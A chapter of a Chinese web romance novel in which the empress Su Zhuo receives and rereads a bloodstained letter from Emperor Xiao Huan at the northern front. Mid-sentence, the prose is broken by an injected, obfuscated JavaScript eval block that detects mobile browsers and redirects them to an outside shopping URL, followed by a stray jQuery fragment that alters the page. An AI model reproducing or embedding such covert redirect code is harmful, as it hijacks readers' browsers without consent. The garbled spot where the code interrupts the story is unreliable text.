第一百二十三章:他的的来信
作品:《废后三年,病娇渣皇落草追妻》 可这一次,她只站了一炷香的功夫。天色暗下来时,她便转身回了屋。屋里,太子刚醒,正由奶娘抱着喂奶。见她进来,孩子松开嘴,朝她伸出手,咿咿呀呀地叫着。
苏灼走过去,接过孩子,抱在怀里。
孩子窝在她怀里,小手抓着她衣襟,渐渐安静下来。他仰着小脸,望着母亲,黑亮的眼睛里满是依恋。
苏灼低头看着他,看着那张酷似萧寰的小脸,忽然眼眶有些发酸。
“你爹……”她轻声说,“在打坏人呢。”
孩子眨了眨眼,不知听没听懂。
“他答应过我们的,会回来。”她把孩子抱紧了些,“我们等他。”
窗外,暮色渐浓。远处传来隐约的钟声,一声接一声,悠长而沉静。
凤仪宫的海棠还在开着,花瓣在风里轻轻颤动,像在数着什么。
苏灼抱着孩子,站在窗前,望着北方。
那里有她的男人,有她的牵挂,有她日日夜夜的思念。
可她没有哭。
因为她知道,他在为她打仗,为她拼命,为她和孩子守着这片江山。
她要做的,就是好好等他回来。
萧寰走后的第二十三天,北境来了第一封家书。
信是随着军报一起送来的。送信的斥候跑了三天三夜,跑**两匹马,把信交到苏灼手里时,人几乎站不稳,被侍卫架下去歇息了。
苏灼捧着那封信,站在暖阁门口,许久没有拆开。
信封上是萧寰的字迹,只有四个字:“阿灼亲启”。笔画有些潦草,墨迹也浓淡不均,像是匆忙间写的。她认得这个字迹——从前在东宫时,他给她写诗,用的就是这笔字。那时写得工工整整,一笔一划,生怕她认不出来。
如今这字,多了些潦草,多了些急切,也多了些她说不清的东西。
她拆开信封,抽出里面的信纸。
纸是寻常的军中文牍用纸,边角有些皱,还沾着一小块暗红色的东西。她盯着那块暗红看了很久,手指微微发抖,才辨认出那是干涸的血迹。
不是他的血。她告诉自己。不是他的。
她展开信纸,一行行看下去。
“阿灼吾妻:
见字如面。
大军已至黑水关,石勇尚在,关城未失。月氏与北莽联军围城半月,攻城七次,皆被击退。守军伤亡过半,然士气尚存。朕至之日,三军振奋,皆言‘陛下亲来,此战必胜’。
朕听了,心里想的是你。是你当年在苍狼隘说的话——‘陛下亲征,可振士气’。你说得对,阿灼,你总是对的。
昨日接战,朕率中军冲击敌阵,斩首三百,敌退二十里。战后清点,朕的左臂被流矢擦了一下,皮肉之伤,不碍事。太医已经包扎过了,你莫要担心。
朕知道你会担心。所以朕让人连夜送这封信回去,告诉你,朕没事,好好的。你莫要站在宫门口一直望,望久了脖子疼。莫要一个人发呆,发呆久了伤神。莫要不好好吃饭,你本来就瘦,再瘦下去,等朕回去抱你,该硌手了。
朕想你和孩子。
想得厉害的时候,就看看北方的星星。这里的星星比京城亮,有一颗特别亮,朕猜那是你在看朕。朕便对着那颗星星说话,说阿灼,朕在杀敌,朕在打仗,朕在拼命,朕很快就会回去。
孩子可好?会叫父皇了吗?若是会了,你教他多叫几声,等朕回去,听他叫个够。若是还不会,也不要紧,朕回去慢慢教他。朕有很多话想教他说,第一个是‘父皇’,第二个是‘母后’,第三个是‘我要吃糖’——朕小时候就爱吃糖,你小时候想必也爱吃。
阿灼,朕有好多话想跟你说。可写着写着,又觉得这些话都不重要。重要的是告诉你,朕活着,朕在想你,朕会回去。
你等着朕。
萧寰
三月初九夜”
苏灼把信看了三遍。
第一遍看得快,一目十行,只想确认他没事。第二遍看得慢,一字一句,咀嚼每一个字背后的意思。第三遍看得更慢,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220296|196593||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看到“左臂被流矢擦了一下”时,手指轻轻抚过那几个字,仿佛这样就能抚到他的伤口。
血迹在“三月初九夜”那几个字旁边,已经干透了,颜色发暗。她不知道那是谁的血,也不想去猜。她只是把信纸贴在胸口,闭上眼,长长地吐出一口气。
陈嬷嬷在一旁站着,不敢出声。
过了许久,苏灼睁开眼,把信小心地折好,放回信封,又塞进袖中。
“送信的斥候呢?”她问。
“歇着呢,娘娘。”
“让他好生歇着。歇好了,带些东西回去。”苏灼顿了顿,“再告诉陛下,就说……就说我和孩子都好,让他放心打仗,别分心。”
陈嬷嬷应了,转身出去。
苏灼站在窗边,望着北方。天边有一朵云,被风吹着,慢慢往这边飘。她盯着那朵云,忽然想起信里写的“这里的星星比京城亮”。
他那边,现在该是夜里了。他会在看星星吗?会对着那颗最亮的星星说话吗?
她不知道。
她只知道,那颗星星,她今夜也会看。
那夜,苏灼真的站在廊下看了很久的星星。
海棠花已经落了大半,枝头剩下稀稀拉拉几朵,在夜风里轻轻颤着。月光洒下来,把院子照得亮堂堂的,连花瓣的脉络都清晰可见。
她仰着头,望着北方天际那颗最亮的星。今夜星星很多,密密麻麻缀满夜空,可那颗最亮的,她一眼就认出来了。
她看着那颗星,忽然想起他信里的话:“朕便对着那颗星星说话,说阿灼,朕在杀敌,朕在打仗,朕在拼命,朕很快就会回去。”
她也想对着那颗星星说话。可说什么呢?说“我想你”?说“你小心”?说“孩子会叫母后了”?
想了半天,她只是轻轻说了两个字:
“等你。”
身后传来脚步声。奶娘抱着孩子出来了,孩子刚醒,睡眼惺忪的,小手揉着眼睛。看见苏灼,他张开手臂,嘴里含糊不清地叫着唤着。

